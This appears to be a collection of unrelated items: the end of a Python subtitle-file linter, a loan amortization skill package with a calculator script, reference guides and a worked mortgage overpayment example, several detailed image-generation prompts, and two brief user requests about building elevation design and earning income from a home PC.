is_vtt)}, not after its start") if not text_lines: add("high", "empty-cue", c, "cue has no visible text") if prev is not None: gap = c["start"] - prev["end"] if c["start"] < prev["start"]: add("high", "out-of-order", c, f"starts before the previous cue ({fmt(prev['start'], is_vtt)}); sort by time") elif gap < 0: add("high", "overlap", c, f"overlaps the previous cue by {-gap} ms; end the previous cue at {fmt(c['start'] - opts['min_gap'], is_vtt)}") elif 0 < gap < opts["min_gap"]: add("info", "tiny-gap", c, f"only {gap} ms after the previous cue; use 0 ms (chained) or at least {opts['min_gap']} ms so the change is visible") if c["end"] > c["start"] and text_lines: if dur < opts["min_dur"]: add("warn", "too-short", c, f"on screen {dur:.2f} s (minimum {opts['min_dur']:.2f} s)") if dur > opts["max_dur"]: add("warn", "too-long", c, f"on screen {dur:.2f} s (maximum {opts['max_dur']:.1f} s); split it or shorten the time") cps = chars / dur if dur > 0 else float("inf") if cps > opts["max_cps"]: need = chars / opts["max_cps"] cut = max(1, math.ceil(chars - opts["max_cps"] * dur)) add("warn", "reading-speed", c, f"{cps:.1f} chars/s (limit {opts['max_cps']:g}); needs {need:.2f} s on screen or about {cut} fewer chars") for ln in text_lines: if len(ln) > opts["max_line"]: add("warn", "line-length", c, f"line has {len(ln)} chars (limit {opts['max_line']}): {ln[:60]!r}") if len(text_lines) > opts["max_lines"]: add("warn", "too-many-lines", c, f"{len(text_lines)} lines (limit {opts['max_lines']})") raw = " ".join(c["lines"]) for tag in ("i", "b", "u"): if len(re.findall(rf"<{tag}>", raw, re.I)) != len(re.findall(rf"</{tag}>", raw, re.I)): add("info", "unbalanced-tag", c, f"<{tag}> tags are not balanced in this cue") if re.search(r"\[[^\]]+\]|\([A-Z][A-Z ]+\)", raw): add("info", "sdh-label", c, "contains a sound or speaker label in brackets; keep it only in SDH/CC files") prev = c return out def stats(cues, is_vtt=False): if not cues: return {} total_chars = sum(len(visible(ln)) for c in cues for ln in c["lines"]) total_time = sum(max(c["end"] - c["start"], 0) for c in cues) / 1000 return {"cues": len(cues), "first": fmt(cues[0]["start"], is_vtt), "last_end": fmt(max(c["end"] for c in cues), is_vtt), "avg_cps": round(total_chars / total_time, 1) if total_time else None, "avg_duration_s": round(total_time / len(cues), 2)} def shift_text(text, delta): def rep(m): g = m.groups() vtt = "." in m.group(0).split("-->")[0] a = max(to_ms(*g[0:4]) + delta, 0) b = max(to_ms(*g[4:8]) + delta, 0) return f"{fmt(a, vtt)} --> {fmt(b, vtt)}{g[8]}" return "\n".join(TS.sub(rep, ln) if "-->" in ln else ln for ln in text.replace("\r\n", "\n").split("\n")) def main(argv): opts = {"max_cps": 17.0, "max_line": 42, "max_lines": 2, "min_dur": 0.833, "max_dur": 7.0, "min_gap": 83, "json": False, "fail_on": "high", "shift": None} files = [] it = iter(argv) try: for a in it: if a == "--json": opts["json"] = True elif a in ("--max-cps", "--min-dur", "--max-dur"): opts[a[2:].replace("-", "_")] = float(next(it)) elif a in ("--max-line", "--max-lines", "--min-gap", "--shift"): opts[a[2:].replace("-", "_")] = int(next(it)) elif a == "--fail-on": opts["fail_on"] = next(it).lower() if opts["fail_on"] not in LEVELS: raise ValueError("--fail-on must be high, warn, or info") elif a in ("-h", "--help"): print(__doc__) return 0 elif a.startswith("--"): raise ValueError(f"unknown option {a}") else: files.append(a) except (StopIteration, ValueError) as e: print(f"error: {e or 'option needs a value'}", file=sys.stderr) return 2 if not files: print("error: give at least one .srt or .vtt file, or - for stdin", file=sys.stderr) return 2 report, worst = [], -1 for f in files: try: text = sys.stdin.read() if f == "-" else open(f, encoding="utf-8-sig").read() except (OSError, UnicodeDecodeError) as e: print(f"error: cannot read {f}: {e}", file=sys.stderr) return 2 if opts["shift"] is not None: sys.stdout.write(shift_text(text, opts["shift"])) return 0 cues, errors, is_vtt = parse(text) if not cues: print(f"error: {f}: no subtitle cues found (is this an SRT or WebVTT file?)", file=sys.stderr) return 2 findings = check(cues, errors, opts, is_vtt) for x in findings: worst = max(worst, LEVELS[x["level"]]) report.append({"file": f, "format": "vtt" if is_vtt else "srt", "stats": stats(cues, is_vtt), "findings": findings}) if opts["json"]: print(json.dumps(report, indent=2)) else: for r in report: counts = {lv: sum(1 for x in r["findings"] if x["level"] == lv) for lv in ("high", "warn", "info")} st = r["stats"] print(f"{r['file']} ({r['format'].upper()}): {st['cues']} cues, {st['first']} to {st['last_end']}, " f"avg {st['avg_cps']} chars/s, avg {st['avg_duration_s']} s on screen") print(f" HIGH {counts['high']} WARN {counts['warn']} INFO {counts['info']}") for x in sorted(r["findings"], key=lambda x: (-LEVELS[x["level"]], x["line"])): where = f"cue {x.get('cue', '-')} @ {x['time']}" if "time" in x else f"line {x['line']}" print(f" {x['level'].upper():<4} {x['rule']:<16} {where}: {x['message']}") if not r["findings"]: print(" no problems found") return 1 if worst >= LEVELS[opts["fail_on"]] else 0 if __name__ == "__main__": sys.exit(main(sys.argv[1:]))
--- name: loan-amortization-planner description: Builds fixed-rate loan and mortgage amortization schedules, shows how much of each payment goes to interest, and compares payoff strategies such as extra monthly payments, one-off lump sums, a higher fixed payment, or a shorter term, with interest saved, months saved, payoff date, and an APR estimate when fees apply. Use when a user asks "how much interest will I pay?", "should I overpay my mortgage?", "what if I pay 200 more a month?", or wants a payoff plan for a car, student, personal, or home loan. Includes a tested stdlib Python calculator. --- # Loan Amortization Planner You help people understand what a loan really costs and how to pay it off faster in a way that fits their budget. You run the numbers precisely, explain them in plain language, compare realistic options side by side, and point out the trade-offs (emergency savings, other debts, prepayment rules) before anyone sends extra money to a lender. ## Files in this skill - `scripts/amortize.py` - monthly amortization for fixed-rate loans with extra monthly payments, lump sums, a fixed payment, fees and an APR estimate, a yearly table, and a CSV schedule (Python 3 standard library only) - `references/amortization-basics.md` - how amortization works, the formulas, and the terms people confuse (rate vs APR, term vs payoff date) - `references/prepayment-decision-guide.md` - when overpaying makes sense, what to check in the loan contract, and the order of priorities - `templates/loan-plan.md` - the report to return - `examples/example-mortgage-overpayment.md` - a worked comparison of three overpayment strategies on a mortgage ## Workflow ### 1. Collect the facts Ask, or assume and say so: - Amount still owed (or amount to borrow), interest rate, remaining term, and the current monthly payment if known. - Fixed or variable rate, and when a fixed period ends. - Fees: arrangement or origination fees, and any prepayment penalty or yearly overpayment limit. - What the user can afford: an extra amount per month, an expected bonus or one-off sum, and their emergency savings and other debts. - The goal: lowest total interest, being debt-free by a date, or lowest monthly payment. ### 2. Run the baseline ```bash python3 scripts/amortize.py --principal 300000 --rate 4.5 --years 30 --start 2026-12 python3 scripts/amortize.py --principal 18500 --rate 7.9 --months 48 --fee 400 # car loan with a fee: APR estimate ``` Check that the computed payment matches the lender's statement within a few cents. If it does not, the loan probably has a different day count, fees in the balance, or insurance in the payment: ask, or use `--payment` with the real amount. ### 3. Run the scenarios ```bash python3 scripts/amortize.py --principal 300000 --rate 4.5 --years 30 --extra 200 python3 scripts/amortize.py --principal 300000 --rate 4.5 --years 30 --lump 12:10000 --lump 24:10000 python3 scripts/amortize.py --principal 300000 --rate 4.5 --years 30 --payment 2000 --yearly python3 scripts/amortize.py --principal 300000 --rate 4.5 --years 20 # shorter term python3 scripts/amortize.py ... --schedule plan.csv --json ``` Compare 2 to 4 options that the user can really afford. For each, record the monthly outlay, payoff date, total interest, interest saved, and months saved. If you cannot run the script, use the formulas in `references/amortization-basics.md` and say the numbers are approximate. ### 4. Check the decision, not just the math Go through `references/prepayment-decision-guide.md`: emergency fund first, higher-rate debts first, prepayment penalties and limits, tax effects to check locally, and the after-tax return of the alternative (saving or investing). Never present overpaying as always right. ### 5. Deliver Fill in `templates/loan-plan.md`: the loan in one line, the baseline, a comparison table of scenarios, a recommendation with reasons, what to ask the lender, and next steps. Follow the style of `examples/example-mortgage-overpayment.md`. ## Rules - Show every number with its currency and round money to cents; label estimates as estimates. - The calculator assumes a fixed rate, monthly payments, and extra payments applied to principal straight away with the payment unchanged (the term shortens). Say so, and flag variable rates or lenders that recalculate the payment instead. - Do not give personal investment or tax advice; explain the trade-off and tell the user what to check with the lender or a licensed adviser. - If a payment does not even cover the interest, say so clearly and stop: the balance would grow. - Keep the explanation short and concrete: "every 100 of extra saves about 120 of interest" beats a paragraph of theory. FILE:references/amortization-basics.md # Amortization basics ## How a fixed-rate loan is paid off Each month the lender charges interest on the balance still owed. Your payment first covers that interest; the rest reduces the balance (principal). Because the balance falls, the interest part shrinks every month and the principal part grows, while the payment stays the same. Early payments are mostly interest; late payments are mostly principal. ## Formulas - Monthly rate: r = annual rate / 12 (for example 4.5% -> 0.00375). - Payment for a loan P over n months: M = P * r / (1 - (1 + r)^-n). With r = 0: M = P / n. - Interest this month: balance * r. Principal this month: M - interest. - Total interest: sum of the interest parts, or approximately M * n - P. - Months to pay off with payment M: n = -ln(1 - P * r / M) / ln(1 + r). If P * r >= M the loan never ends. Quick checks: 200,000 at 6% for 30 years -> 1,199.10 per month. 300,000 at 4.5% for 30 years -> 1,520.06 per month. ## Why extra payments save so much An extra payment reduces the balance immediately, so every later month charges interest on a smaller amount. The saving is roughly the extra amount times the interest it would have carried for the rest of the loan. That is why money paid early in the loan saves more than the same money paid late. ## Terms people confuse | Term | Meaning | |---|---| | Nominal rate | The yearly rate in the contract, used for the monthly interest. | | APR | Annual percentage rate including fees; compares offers. A loan with a lower rate but high fees can have a higher APR. | | Term | The planned length (e.g. 30 years). | | Payoff date | When the balance actually reaches zero; earlier with extra payments. | | Reduce term vs reduce payment | After an overpayment, some lenders keep the payment and shorten the term (saves more interest), others recalculate a lower payment. Ask which. | | Principal | The amount still owed, not counting future interest. | | Amortization schedule | The month-by-month table of payment, interest, principal, and balance. | ## Rounding and small differences Lenders round to cents each month and may use daily interest (actual days / 365) instead of rate / 12. Results can differ by a few cents per month and a few units in total interest. The last payment usually absorbs the rounding difference. ## Limits of a fixed-rate calculator - Variable or tracker rates: run scenarios at the current rate and at +1 and +2 percentage points. - Interest-only periods, balloon payments, payment holidays: model them separately or by hand. - Insurance, escrow, or account fees inside the monthly payment are not interest; remove them before comparing. FILE:references/prepayment-decision-guide.md # Should I pay off my loan faster? A decision guide Overpaying a loan gives a guaranteed, risk-free "return" equal to the loan's interest rate. That is good, but it is not always the best use of spare money. Work through these steps in order. ## 1. Safety first - Emergency fund: keep about 3 to 6 months of essential costs in easy-access savings before overpaying. Money sent to a lender is hard to get back. - Stable income: if a job change, parental leave, or a big expense is coming, build cash first. ## 2. Pay the most expensive debt first Rank debts by interest rate (avalanche method): credit cards and overdrafts, then personal and car loans, then student loans and mortgages. Overpay the highest rate first. If motivation is the problem, paying the smallest balance first (snowball) can be fine, but say what it costs. ## 3. Read the contract - Prepayment penalty or early repayment charge (often a percent of the amount overpaid, mostly during a fixed-rate period). - Yearly overpayment allowance (for example 10 percent of the balance per year without a fee). - Does an overpayment reduce the term or the payment? Can you choose? - Minimum overpayment amounts and how to make one (online, by phone, written instruction). ## 4. Compare with the alternative - Employer retirement matching is usually better than any overpayment: take the full match first. - Compare the loan rate with the after-tax, after-fee return you could get on savings. A 2% mortgage versus a 4% savings account: saving wins on paper. A 7% car loan versus a 3% savings account: overpaying wins. - Investing may beat a low-rate loan over long periods but carries risk; the overpayment return is certain. - Tax: in some countries mortgage interest is tax-deductible, which lowers the effective rate. Check locally; do not assume. ## 5. Pick a strategy | Strategy | Good when | |---|---| | Fixed extra per month | Steady income; builds a habit; saves the most for the same total if started early. | | Lump sums (bonus, tax refund) | Irregular income; keeps flexibility during the year. | | Higher fixed payment | Wants a clear debt-free date. | | Refinance to a shorter term | A lower rate is available and the higher payment is affordable; compare fees. | | Keep cash, overpay later | Fixed period ending soon (overpay without penalty after), or emergency fund not full. | ## 6. Review Re-run the numbers once a year, when the rate changes, or when income changes. Remind the user that overpaying can always be paused; a higher contractual payment usually cannot. FILE:templates/loan-plan.md # Loan plan: ${loan_name} **Loan:** ${balance} at ${rate}% (${fixed_or_variable}), ${remaining_term} left, payment ${payment} per month, first payment in this plan ${start_month} **Fees and rules:** ${fees}; prepayment limit or penalty: ${prepayment_rules} **Goal:** ${goal} **Budget for extra payments:** ${extra_budget} ## Baseline - Monthly payment: - Total interest from now: - Payoff date: - First payment split: interest ... / principal ... ## Scenarios | Option | Monthly outlay | Payoff date | Total interest | Interest saved | Months saved | |---|---|---|---|---|---| | Baseline | | | | - | - | | A: | | | | | | | B: | | | | | | | C: | | | | | | ## Recommendation Option ... because: 1. 2. 3. Trade-offs to keep in mind: ## Before you overpay - [ ] Emergency fund covers ... months - [ ] No higher-rate debt left (or it comes first) - [ ] Prepayment penalty / allowance checked with the lender - [ ] Overpayment set to reduce the term (or payment, if preferred) ## Questions for the lender 1. 2. ## Next steps 1. 2. *Assumptions: fixed rate, monthly payments, extra payments applied to principal immediately. These are estimates, not financial advice.* FILE:examples/example-mortgage-overpayment.md # Example: comparing three mortgage overpayment strategies ## User request "We have 320,000 left on our mortgage at 4.1% fixed with 25 years to go, first payment of this plan in December 2026. We could pay about 300 extra a month, or we get a 15,000 bonus each year for the next three years. A friend says we should just switch to 2,400 a month. What's best? We have 6 months of expenses saved and no other debt. The bank allows 10% overpayment per year without fees." ## Commands ```bash python3 scripts/amortize.py --principal 320000 --rate 4.1 --years 25 --start 2026-12 python3 scripts/amortize.py --principal 320000 --rate 4.1 --years 25 --start 2026-12 --extra 300 python3 scripts/amortize.py --principal 320000 --rate 4.1 --years 25 --start 2026-12 --lump 12:15000 --lump 24:15000 --lump 36:15000 python3 scripts/amortize.py --principal 320000 --rate 4.1 --years 25 --start 2026-12 --payment 2400 ``` Output (shortened): ``` Baseline: 1,706.80 per month, interest 192,038.38, total paid 512,038.38, paid off 2051-11 (300 payments) Plan (+300.00/month): paid off 2046-02 (231 payments), interest 143,068.39 Saves 48,969.99 interest and 69 months (5 y 9 m); every 100 of extra saves 70.97 Plan (lump sums 15,000.00 in payment 12, 15,000.00 in payment 24, 15,000.00 in payment 36): paid off 2046-11 (240 payments), interest 133,018.73 Saves 59,019.65 interest and 60 months (5 y 0 m); every 100 of extra saves 131.15 Plan (fixed payment 2,400.00): paid off 2041-10 (179 payments), interest 107,805.37 Saves 84,233.01 interest and 121 months (10 y 1 m) ``` ## Loan plan (filled template, shortened) **Loan:** 320,000.00 at 4.1% fixed, 25 years left, payment 1,706.80 per month, first payment December 2026 **Fees and rules:** overpayments up to 10% of the balance per year are free **Goal:** pay less interest without losing flexibility | Option | Monthly outlay | Payoff date | Total interest | Interest saved | Months saved | |---|---|---|---|---|---| | Baseline | 1,706.80 | 2051-11 | 192,038.38 | - | - | | A: +300 per month | 2,006.80 | 2046-02 | 143,068.39 | 48,969.99 | 69 | | B: 15,000 bonus in years 1 to 3 | 1,706.80 + 45,000 total | 2046-11 | 133,018.73 | 59,019.65 | 60 | | C: fixed 2,400 per month | 2,400.00 | 2041-10 | 107,805.37 | 84,233.01 | 121 | **Recommendation:** Option B, plus A if the budget allows. The bonuses are paid early in the loan, so each 100 overpaid saves about 131 of interest, almost twice the rate of the monthly plan (about 71 per 100, because much of that money is paid in later years). It needs no change to the monthly budget, and each 15,000 is within the free 10% allowance (32,000 in year 1). Option C saves the most because it sends about 124,000 of extra money over 15 years, but it raises the fixed outlay by 693 per month; do it only if that fits comfortably, and set it up as a voluntary overpayment rather than a new contract payment so it can be paused. **Trade-offs:** money overpaid is hard to get back; keep the 6-month emergency fund untouched. If your savings account pays more than 4.1% after tax, saving could beat overpaying on paper; check the rate and any tax rules locally. **Questions for the lender:** 1. Will overpayments reduce the term with the payment unchanged (assumed above), or recalculate the payment? 2. Does the 10% allowance reset per calendar year or per loan year? *Assumptions: fixed rate for the whole term, monthly payments, overpayments applied to principal immediately. Estimates, not financial advice.* FILE:scripts/amortize.py #!/usr/bin/env python3 """Fixed-rate loan amortization with extra payments and scenario comparison. Usage: python3 amortize.py --principal 250000 --rate 4.2 --years 30 [options] python3 amortize.py --principal 18000 --rate 7.9 --months 60 --extra 150 Options: --principal N amount borrowed (required) --rate PCT nominal annual interest rate in percent, e.g. 4.2 (required; 0 allowed) --years N | --months N term (one of them is required) --start YYYY-MM month of the first payment (default: next month) --extra N extra amount added to every monthly payment --extra-from N payment number where --extra starts (default 1) --lump N:AMOUNT one-off extra payment in payment number N (repeatable) --payment N pay this fixed monthly amount instead of the computed one --fee N one-off upfront fees, used for the cost and APR estimate --schedule FILE write the full monthly schedule as CSV --yearly print a year-by-year table --json print the result as JSON Extra payments are assumed to reduce principal immediately with no prepayment penalty and the same monthly payment (term shortens). Rates are nominal annual, compounded monthly (rate / 12 per month). Money is rounded to cents each month. Exit codes: 0 ok, 2 usage or input error. Python 3 standard library only. """ import argparse import csv import datetime as dt import json import sys def monthly_payment(principal, annual_rate, n): r = annual_rate / 100 / 12 if r == 0: return principal / n return principal * r / (1 - (1 + r) ** -n) def add_months(ym, k): y, m = ym m0 = m - 1 + k return (y + m0 // 12, m0 % 12 + 1) def schedule(principal, annual_rate, n, payment=None, extra=0.0, extra_from=1, lumps=None): r = annual_rate / 100 / 12 base = round(payment if payment else monthly_payment(principal, annual_rate, n), 2) lumps = lumps or {} bal = round(principal, 2) rows = [] k = 0 while bal > 0.005: k += 1 if k > 1200: raise ValueError("the loan is not paid off within 100 years; the payment is too small for the interest") interest = round(bal * r, 2) if base + (extra if k >= extra_from else 0) <= interest and not lumps.get(k): raise ValueError(f"payment {base:.2f} does not cover the monthly interest {interest:.2f}; the balance would grow") sched = min(base, bal + interest) if payment is None and k == n: sched = bal + interest # last scheduled payment absorbs the rounding difference ext = min(extra if k >= extra_from else 0.0, max(bal + interest - sched, 0)) lump = min(lumps.get(k, 0.0), max(bal + interest - sched - ext, 0)) principal_paid = round(sched + ext + lump - interest, 2) bal = round(bal - principal_paid, 2) rows.append({"n": k, "payment": round(sched, 2), "extra": round(ext + lump, 2), "interest": interest, "principal": principal_paid, "balance": max(bal, 0.0)}) return base, rows def summarize(rows): return {"months": len(rows), "total_interest": round(sum(x["interest"] for x in rows), 2), "total_paid": round(sum(x["payment"] + x["extra"] for x in rows), 2), "total_extra": round(sum(x["extra"] for x in rows), 2)} def apr_estimate(principal, fee, payment, n): """Annual rate that makes the payments worth principal - fee (bisection).""" target = principal - fee lo, hi = 0.0, 1.0 for _ in range(100): mid = (lo + hi) / 2 r = mid / 12 pv = payment * n if r == 0 else payment * (1 - (1 + r) ** -n) / r lo, hi = (mid, hi) if pv > target else (lo, mid) return round(lo * 100, 3) def fmt_ym(ym): return f"{ym[0]:04d}-{ym[1]:02d}" def main(argv): p = argparse.ArgumentParser(add_help=True, description="Loan amortization with extra payments") p.add_argument("--principal", type=float, required=True) p.add_argument("--rate", type=float, required=True) g = p.add_mutually_exclusive_group(required=True) g.add_argument("--years", type=float) g.add_argument("--months", type=int) p.add_argument("--start") p.add_argument("--extra", type=float, default=0.0) p.add_argument("--extra-from", type=int, default=1) p.add_argument("--lump", action="append", default=[]) p.add_argument("--payment", type=float) p.add_argument("--fee", type=float, default=0.0) p.add_argument("--schedule") p.add_argument("--yearly", action="store_true") p.add_argument("--json", action="store_true") try: a = p.parse_args(argv) except SystemExit as e: return 0 if e.code == 0 else 2 try: n = a.months if a.months else round(a.years * 12) if a.principal <= 0 or n <= 0 or a.rate < 0 or a.extra < 0 or a.fee < 0: raise ValueError("principal and term must be positive; rate, extra, and fee cannot be negative") if a.rate > 100: raise ValueError("rate is in percent per year, e.g. 4.2 for 4.2%") lumps = {} for item in a.lump: num, _, amt = item.partition(":") try: if not num.isdigit(): raise ValueError value = float(amt) except ValueError: raise ValueError(f"--lump must look like 24:5000 (payment number:amount), got {item!r}") from None lumps[int(num)] = lumps.get(int(num), 0.0) + value if a.start: try: y, m = a.start.split("-") start = (int(y), int(m)) except ValueError: raise ValueError(f"--start must look like 2026-11, got {a.start!r}") from None if not 1 <= start[1] <= 12: raise ValueError("--start month must be 01 to 12") else: t = dt.date.today() start = add_months((t.year, t.month), 1) base_pay, base_rows = schedule(a.principal, a.rate, n, payment=None) scenario = bool(a.extra or lumps or a.payment) pay, rows = schedule(a.principal, a.rate, n, payment=a.payment, extra=a.extra, extra_from=a.extra_from, lumps=lumps) if scenario else (base_pay, base_rows) except ValueError as e: print(f"error: {e}", file=sys.stderr) return 2 base_sum, plan_sum = summarize(base_rows), summarize(rows) result = { "inputs": {"principal": a.principal, "annual_rate_pct": a.rate, "term_months": n, "first_payment": fmt_ym(start), "extra_monthly": a.extra, "extra_from_payment": a.extra_from, "lumps": lumps, "fixed_payment": a.payment, "fees": a.fee}, "baseline": {"monthly_payment": base_pay, **base_sum, "payoff": fmt_ym(add_months(start, base_sum["months"] - 1))}, } if a.fee: result["baseline"]["apr_estimate_pct"] = apr_estimate(a.principal, a.fee, base_pay, n) result["baseline"]["total_cost_incl_fees"] = round(base_sum["total_interest"] + a.fee, 2) if scenario: result["plan"] = {"monthly_payment": pay, **plan_sum, "payoff": fmt_ym(add_months(start, plan_sum["months"] - 1)), "months_saved": base_sum["months"] - plan_sum["months"], "interest_saved": round(base_sum["total_interest"] - plan_sum["total_interest"], 2)} if plan_sum["total_extra"]: result["plan"]["interest_saved_per_100_extra"] = round(100 * result["plan"]["interest_saved"] / plan_sum["total_extra"], 2) yearly = [] for i in range(0, len(rows), 12): chunk = rows[i:i + 12] yearly.append({"year": i // 12 + 1, "paid": round(sum(x["payment"] + x["extra"] for x in chunk), 2), "interest": round(sum(x["interest"] for x in chunk), 2), "principal": round(sum(x["principal"] for x in chunk), 2), "end_balance": chunk[-1]["balance"]}) result["yearly"] = yearly first = base_rows[0] result["baseline"]["first_payment_split"] = {"interest": first["interest"], "principal": first["principal"]} if a.schedule: try: with open(a.schedule, "w", newline="", encoding="utf-8") as f: w = csv.writer(f) w.writerow(["n", "month", "payment", "extra", "interest", "principal", "balance"]) for x in rows: w.writerow([x["n"], fmt_ym(add_months(start, x["n"] - 1)), f"{x['payment']:.2f}", f"{x['extra']:.2f}", f"{x['interest']:.2f}", f"{x['principal']:.2f}", f"{x['balance']:.2f}"]) except OSError as e: print(f"error: cannot write schedule {a.schedule}: {e.strerror}", file=sys.stderr) return 2 if a.json: print(json.dumps(result, indent=2)) return 0 b = result["baseline"] print(f"Loan {a.principal:,.2f} at {a.rate}% for {n} months, first payment {fmt_ym(start)}") print(f"Baseline: {b['monthly_payment']:,.2f} per month, interest {b['total_interest']:,.2f}, " f"total paid {b['total_paid']:,.2f}, paid off {b['payoff']} ({b['months']} payments)") if a.fee: print(f" With fees {a.fee:,.2f}: total cost of borrowing {b['total_cost_incl_fees']:,.2f}, APR about {b['apr_estimate_pct']}%") print(f" First payment: {first['interest']:,.2f} interest, {first['principal']:,.2f} principal") if scenario: pl = result["plan"] what = [] if a.payment: what.append(f"fixed payment {a.payment:,.2f}") if a.extra: what.append(f"+{a.extra:,.2f}/month" + (f" from payment {a.extra_from}" if a.extra_from > 1 else "")) if lumps: what.append("lump sums " + ", ".join(f"{v:,.2f} in payment {k}" for k, v in sorted(lumps.items()))) print(f"Plan ({'; '.join(what)}): paid off {pl['payoff']} ({pl['months']} payments), " f"interest {pl['total_interest']:,.2f}") ms = pl["months_saved"] if ms >= 0 and pl["interest_saved"] >= 0: print(f" Saves {pl['interest_saved']:,.2f} interest and {ms} months ({ms // 12} y {ms % 12} m)" + (f"; every 100 of extra saves {pl['interest_saved_per_100_extra']:,.2f}" if pl.get("interest_saved_per_100_extra") else "")) else: print(f" WARNING: this plan costs {-pl['interest_saved']:,.2f} MORE interest and takes {-ms} months longer than the baseline") if a.yearly: print(f"\nYear-by-year ({'plan' if scenario else 'baseline'}):") print(f"{'Year':>4} {'Paid':>12} {'Interest':>12} {'Principal':>12} {'Balance':>12}") for y in yearly: print(f"{y['year']:>4} {y['paid']:>12,.2f} {y['interest']:>12,.2f} {y['principal']:>12,.2f} {y['end_balance']:>12,.2f}") if a.schedule: print(f"\nSchedule written to {a.schedule} ({len(rows)} rows)") return 0 if __name__ == "__main__": sys.exit(main(sys.argv[1:]))
Role: think you are civil engineer & elevation design architect. Context: give me 3D view elevation design for the provided images for ground plus one floor whose physical structure is completed, which is 26 feet wide on road facing, give me multiple design images with modern floors. Respect the existing visible structure and opening.
A single black-and-white noir comic book panel, 16:9 landscape, framed by a thin solid black panel border with a narrow white gutter around it. Night on an empty city street in heavy rain. Just right of center stands an old-fashioned glass and steel telephone booth, its interior light glowing bright white, the only strong light source in the scene. Inside, a detective in a belted trench coat with the collar turned up and a wide-brimmed fedora pulled low holds the receiver to his ear, his face mostly in shadow, only the line of his jaw and the edge of the hat brim picked out in white; his free hand presses flat against the rain-streaked glass. Water runs down the booth's panes in drawn streaks. Behind and above on the left, a tall vertical hotel sign hangs from a brick building, its glowing letters reduced to abstract blank bright shapes with no readable text, and its light is reflected as broken white shapes in the puddles on the wet pavement in the foreground. The rain is drawn as long diagonal ink strokes and a fine dot-screen zipatone tone fills the sky, the shadows of the street, and the wet road surface. Hard, confident brush and pen inking: deep solid blacks covering most of the frame, crisp white highlights, feathered hatching on the brick wall and the trench coat folds, dramatic chiaroscuro with long shadows of the booth's frame stretching toward the viewer. A parked 1940s sedan is a black silhouette on the far left edge, and a fire escape zigzags up the building. Low camera angle from across the street, slightly tilted, cinematic tension, classic 1940s and 1950s crime comic style printed on slightly off-white paper with a faint halftone grain. Strictly black, white, and grey tones only. No speech balloons, no caption boxes, no sound effects, no readable text or letters anywhere, no signature, no watermark.
A museum-quality photograph of a deep wooden shadow box hanging on a pale grey gallery wall, seen straight on at eye level, 16:9 landscape composition with the box filling most of the frame. Inside the box is a layered cut-paper diorama of a coral reef aquarium, made of about twelve hand-cut paper layers spaced a few millimeters apart so each layer casts a soft shadow on the one behind it. The back layers are smooth gradients of turquoise and deep teal paper suggesting open water, with faint wavy cut-outs of light rays; middle layers hold silhouettes of distant coral in muted blue-green; the front layers are rich and colorful: branching coral in coral pink and salmon, a round brain coral in ochre with a carved maze pattern, a fan coral in violet with delicate lace-like cut holes, swaying sea grass in two greens, and a bright magenta anemone with fringed tentacles cut in fine strips. A single small yellow fish with a thin black stripe and a tiny punched eye swims near the anemone, slightly raised on its own layer. Columns of small circular bubbles, punched from white and pale aqua paper, rise on the right. A sandy floor of textured cream paper with a few tiny cut shells runs along the bottom. The box frame is natural oak, about 8 cm deep, with a clean inner white mat and a sheet of museum glass showing only a faint reflection at one corner. Soft directional light from the left side lights up the paper edges and creates crisp, layered shadows inside the box, emphasizing depth; the paper fibers, cut edges, and slight curl of thin pieces are visible. Calm, wondrous mood, true colors, craft and fine-art photography, sharp focus across the whole diorama. No text, no letters, no labels, no signature, no watermark, no people.
Photoreal architectural interior photograph of a High Victorian glass conservatory in early morning, taken from standing eye level (1.6 m) just inside the open front double doors, looking straight down the central aisle along the length of the hall, 24mm lens, 16:9 landscape composition, symmetrical one-point perspective. Fixed design details: a rectangular hall about 14 m long, 8 m wide, and 7 m high at the ridge; a low pale cream limestone plinth wall about 70 cm high runs around the base, with tall clear glass walls in white-framed rectangular panes above it, and a curved barrel-vault glass roof springing from the tops of the walls. Nine slender white-painted wrought iron arched ribs, about 1.5 m apart, cross the hall from wall to wall, each with small white scroll brackets where the wall meets the roof. Between the ribs the roof is glazed in a diamond lattice of thin white glazing bars, the old glass slightly wavy and misted with condensation. The far end wall is a glazed semicircular gable following the vault curve, with a tall tree fern on each side of it. The floor is black and white marble checkerboard in large square tiles, laid square to the 2 m wide central aisle, polished and a little damp. At the exact center of the hall sits a round fountain basin about 2 m across with a low rim clad in deep blue and gold mosaic, a small three-tier white stone bowl spout trickling water, and orange and white koi visible in the water. Two ornate black cast-iron benches with fern-pattern backs and pale oak seat slats stand one on each side of the aisle, facing the fountain. Four tall kentia palms in large terracotta pots line the aisle, two on each side between the camera and the fountain. Lush Boston ferns in round wire baskets hang on thin chains from every rib along both sides of the aisle. A row of five brass pendant lanterns with frosted glass globes hangs on long chains above the central aisle, switched off. Along the right wall runs a slatted oak plant shelf with white orchids and small terracotta pots; low beds of moss and ground ferns line the plinth on both sides. Light and atmosphere: low morning sun from the left streams through the glass walls in long, clearly visible golden light shafts cutting through soft humid mist, dappled diamond-pattern shadows from the roof fall across the checkerboard floor, droplets of condensation catch the light, fresh green and chalk-white palette with warm gold highlights. Calm, quiet, timeless mood, crisp architectural detail, true colors, no distortion of vertical lines. No people, no readable text, no signs or plaques, no modern objects, no watermark.
I Have intel 7 pc with 32 gb ram and 1TB HDD at home. How i can i use this for earn additional income.
A close, slightly elevated studio photograph of a finished needle-felted wool sculpture of a red panda sitting on a mossy branch, 16:9 landscape composition, the sculpture filling the center of the frame. The red panda is built entirely from densely poked wool fibers: rusty orange and cinnamon body, cream muzzle and ear linings, dark brown eye patches and legs, a ringed bushy tail curling around the branch. Tiny black glass bead eyes catch a soft highlight; whiskers are a few fine threads of dark wool; individual poked texture shows on the cheeks and paws so it reads as handmade felt, not fur photography. The branch is wrapped in real preserved sheet moss and a few dried fern fronds, resting on a pale linen cloth over a wooden craft table. Soft diffused window light from the upper left, gentle contact shadows under the paws, shallow depth of field with the face and front paws sharpest, the far end of the tail and table edge softly blurred. At the lower right corner, out of focus: a felting needle in a wooden handle and a small pile of dyed wool rovings in orange, cream, and brown. Photoreal product photography of handmade needle-felted fiber art, true colors, cozy and quiet mood. Not a drawing, not a painting, not a real animal: a real photographed wool sculpture. No readable text, no letters, no signature, no watermark, no hands.
